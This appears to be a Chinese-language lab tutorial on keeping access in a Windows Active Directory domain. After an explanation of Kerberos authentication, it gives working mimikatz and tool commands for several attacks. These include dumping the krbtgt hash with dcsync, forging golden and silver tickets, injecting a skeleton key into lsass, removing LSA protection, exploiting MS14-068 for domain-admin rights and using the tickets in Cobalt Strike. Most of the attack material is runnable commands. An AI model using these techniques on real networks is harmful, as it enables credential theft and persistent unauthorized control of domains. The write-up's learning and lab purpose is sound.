内网渗透-域环境权限维持

前言

在进入内网进行渗透横向过程中,有时候会遇到域环境。学习整理下域环境中权限维持相关的技术。
本次实验环境:
windows server 2012 x64(域控)
win7 x64 (域内主机)

常用命令

net view /domain 查询域列表
net time /domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判断主域,主域一般用做时间服务器
net localgroup administrators 本机管理员【通常含有域用户】
net user /domain 查询域用户(当前域)
net group /domain 查询域工作组
net group "domain computers" /domain 查看加入域的所有计算机名
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup administrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控
net accounts /domain 查看域密码策略
ping 域控计算机名   查找域控地址  
ipconfig /all  通常域内主机 DNS 地址就是域控地址

kerberos协议

学习域渗透,绕不开对kerberos协议的学习。
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。

过程分析

当Client想要访问Server上的某个服务时,首先向AS证明自己的身份,AS认证通过发放TGT给Client,然后Client拿着TGT向TGS发起认证请求,认证通过返还一个ST给Client,最后Client拿着ST去访问serve,整个过程分为三步:
The Authentication Service Exchange: Client 与 AS 的交互
The Ticket Granting Service Exchange:Client 与 TGS 的交互
The Client/Server Authentication Exchange:Client 与 Server 的交互

Domain Controller (域控制器),简称DC,一台计算机,实现用户、计算机的统一管理。
KeyDistribution Center(秘钥分发中心),简称KDC,默认安装在域控。
Authentication Service(身份验证服务),简称AS,用于KDC对Client认证。
Ticket Grantng Service (票据授予服务),简称TGS,用于KDC向Client和Server分发Session Key。
Active Directory(活动目录),简称AD,用于存储用户、用户组、域相关的信息。
Client 客户端,指用户。
Server 服务端,某台计算机或者某个服务

Client 与 AS 的交互


KRB_AS_REQ:
Client 先向 KDC 的 AS 发送 Authenticator1,内容为通过 Client NTML Hash 加密的时间戳、Client ID、网络地址、加密类型等内容。
KBR_AS_REP:
当 AS 接受到 Client的请求后,向AD发起请求,通过AD获取密码Hash并且验证信息。验证成功后生成一个由Client Hash加密的Session Key as和使用域特定账户krbtgt Hash加密的TGT(包含了session key as,超时时间等信息)返回给cilent客户端。
kerberos 第一步请求完成。

Client 与 TGS 的交互


KBR_TGS_REQ:
client接收到as返回的KBR_AS_REP:,使用自身的hash解密第一部分得到Session Key as,由于不知道krbtgt的Hash,因此TGT无法解密。使用得到的Session-Key as 加密数据(timestamp、Client-info、Server-info)作为一部分,然后把无法解密的TGT做为第二部分组成KBR_TGS_REQ发送给TGS。
KBR_TGS-REP:
TGS 收到 Client 发送过来的 TGT 和 Session key-as 加密的数据(timestamp、Client-info、Server-info)后,使用krbtgt的hash解密TGT,得到Session-key as等信息,然后拿着Session-key as去解密第一部分,TGA将两部分中的时间戳,客户端等信息进行比较,如果认证都通过,发送KBR_TGS-REP给Client。
KBR_TGS-REP由二部分组成,第一部分是由Session-key as加密的Session-key tgs,第二部分是ST(由Server NTLM-hash加密的Session-key tgs、timestamp、Client-info)
kerberos第二步请求完成。

Client 与 Server 的交互


client接收到TGS返回的KBR_TGS-REP,首先使用Sessions-key as解密第一部分得到Session-key tgs,由于不知道Server NTML hash因此第二部分无法解密。
KRB_AP_REQ:
client使用得到的Session-key tgs对timetamp、Client-info、Server-info信息进行加密得到第一部分,ST做为第二部分发送给server。
KRB_AP_REP:
server收到client发送的KRB_AP_REQ,使用自身的server NTML-hash解密ST,得到Session-key tgs,再使用Session-key tgs解密第一部分,然后对两部分的内容进行比较。验证通过后发送KRB_AP_REP给client,两者建立通信。
kerberos第三步请求完成。

黄金票据

用于拿下域控主机后的权限维持,krbtgt 账户的密码基本不会更改。
Client通过了第一次AS认证后,返回给TGT用于第二次认证,通过伪造TGT跳过AS认证,直接进行第二次认证,从而和任意server进行通信。

原理分析

kerberos第二次认证发送的KBR_TGS_REQ由二部分组成:Session-Key as 加密数据(timestamp、Client-info、Server-info)和TGT
TGS并没有保存Session-Key as的值,因此可以随意构造Session-Key as,再利用krbtgt 用户的Hash对TGT进行伪造。

使用条件:

1、域名称
2、域的 SID
3、域的krbtgt账户的密码 hash 值
4、伪造的用户名,可以是任意用户,通常是administrator

利用过程

1、获取krbtgt账户 Hash
在域控主机上执行

mimikatz#lsadump::dcsync  /domain:tide.org /user:krbtgt
域名称:tide.org
域SID:S-1-5-21-1082813543-4064396809-3123302706
krbtgt账户hash:264d69c269433dacf814799a4e6e92e5

2、伪造黄金票据
在win7上使用mimikatz伪造黄金票据

kerberos::purge 清空票据缓存
kerberos::golden /admin:Administrator /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /krbtgt:264d69c269433dacf814799a4e6e92e5 /ticket:Administrator.kiribi

执行成功后生成了Administrator.kiribi文件



3、导入黄金票据
导入生成的黄金票据到内存中,获取域控权限。

kerberos::ptt Administrator.kiribi

使用klist命令查看缓存的票证。


可以使用psexec.exe直接获取cmdshell,获取到域控权限。psexec.exe

psexec.exe \\域控计算机全名 cmd

白银票据

学习完黄金票据,再学习白银票据。
第二次认证返回ST给client,通过对ST进行伪造,跳过和client和KDC的前二次认证过程,直接与server进行认证。

原理分析

在第三次认证中,Client会向Server发送KRB_AP_REQ,包括两部分:
第一部分:Session key tgs 加密的 Client-info、timestamp 等信息
第二部分:ST(ticket):由Server NTLM-hash加密的数据(Session-key tgs、timestamp、Client-info)
因此,在知道Server NTLM-hash的情况下可以对ST进行伪造,server并没有保持Session key tgs,因此可以随意伪造Session key tgs。

使用条件

1、域名称
2、域的 SID
3、域中Server服务器账户的NTLM-Hash
4、伪造的用户名(可以是任意的)
用于拿下一台域内主机后的权限维持

利用过程

win7 x64 (域内主机)
windows server 2012 x64(域控)
获得windows server 2012共享的管理权限
1、获取主机名称的ntml hash

mimikatz  log  "privilege::debug" "sekurlsa::logonpasswords" 

2、伪造白银票据
因为伪造的是白银票据,没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造。



伪造共享服务cifs

kerberos::purge  清除票据缓存
kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务  /rc4:NTLM  /user:username /ptt
1. /domain:域名
2. /sid:SID值
3. /target: 目标计算机全名
4. /service: 需要指定相关的服务名,此处为cifs
5. /rc4: 域控的计算机ntlm hash
6. /user: 要伪造的用户名,任意填写

在win7上使用mimikatz执行:

kerberos::golden /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /target:server2012.tide.org /service:cifs  /rc4:49b73d36d4b469c8ef789c13246856fb  /user:username /ptt

成功把白银票据写入内存,成功访问到目标主机的共享服务。


skeleton key

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注入,重启后会失效。
1、域控中安装skeleton key

mimikatz.exe privilege::debug "misc::skeleton"

2、域内主机使用密码登录域控
用户名administrator
mimikatz的默认Skeleton Key设置为mimikatz

net use * /delete /y 清除连接
net use \\server2012.tide.org\c$ mimikatz /user:tide\administrator 建立连接
net use 查看连接



成功访问当域控的C盘文件。

绕过LSA保护策略

微软在2014年3月12日添加了LSA保护策略,防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。
使用版本:
Windows 8.1以上
Windows Server 2012 R2以上
1、首先在域控主机上开启lsa保护策略。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

新建DWORD值,名称为RunAsPPL,数值为00000001



2、重启计算机,进行测试

mimikatz.exe privilege::debug "misc::skeleton"

添加失败


3、绕过lsa保护策略
mimikatz已经支持绕过lsa,该功能需要 mimidrv.sys 文件。mimikatz2.2.0
,

依次执行命令。

privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

成功绕过lsa保护策略。



ms14-068

ms14-068用于将普通域用户权限提升至域管理员权限。微软补丁号为kb3011780,理论上不属于权限维持的范畴,因为本文提到了kerberos认证,黄金、白银票据,因此一起进行实验。
漏洞原理建议查看:深入解读MS14-068漏洞:微软精心策划的后门?把ms14-068漏洞产生原因分享非常透彻。
总结来说ms14-068漏洞是在非常“巧合”的情况下利用特权属性证书PAC产生的。

ms14-068.exe

MS14-068.exe
1、首先获取当前用户的SID

whoami /user

2、生成票据

ms14-068.exe  -u [email protected] -s S-1-5-21-1082813543-4064396809-3123302706-1112 -d 10.211.55.12 -p nuoyan@123
-u 域用户@域名
-s 域用户SID
-d 域控制器ip地址
-p 域成员密码

命令执行后,会生成.ccache文件。



3、注入内存
使用mimikatz将票据注入到当前内存中。

kerberos::purge         //清空当前所有凭证
kerberos::list          //查看当前凭证
kerberos::ptc [email protected]   //将票据注入到内存中

利用失败提示检测到危害安全的尝试。



多次尝试仍然无法利用成功,猜测是server2012的原因。后续再进行单独的测试
更换在server2008域控的环境下执行成功。


cobaltstrike下使用

使用ms14-068.exe生成一个票据文件。
然后使用 KrbCredExport 将 .ccache文件转化为kirbi格式。

python KrbCredExport.py TGT_tidewang\@tide.org.ccache user.ticket

在cs的beacon中执行命令,选择ticket文件。

kerberos_ticket_use

成功获得域控权限。

总结

本次对kerberos认证,黄金票据,白银票据,skeleton key,ms14-068利用进行了学习,实验了域环境下特有的权限维持手段。

参考文章

http://0-sec.org/
https://www.jianshu.com/p/13758c310242
https://www.bilibili.com/video/av51717543?from=search&seid=18287323415214240851
https://www.freebuf.com/vuls/56081.html
https://www.jianshu.com/p/27730ab4a6db

你可能感兴趣的:(内网渗透-域环境权限维持)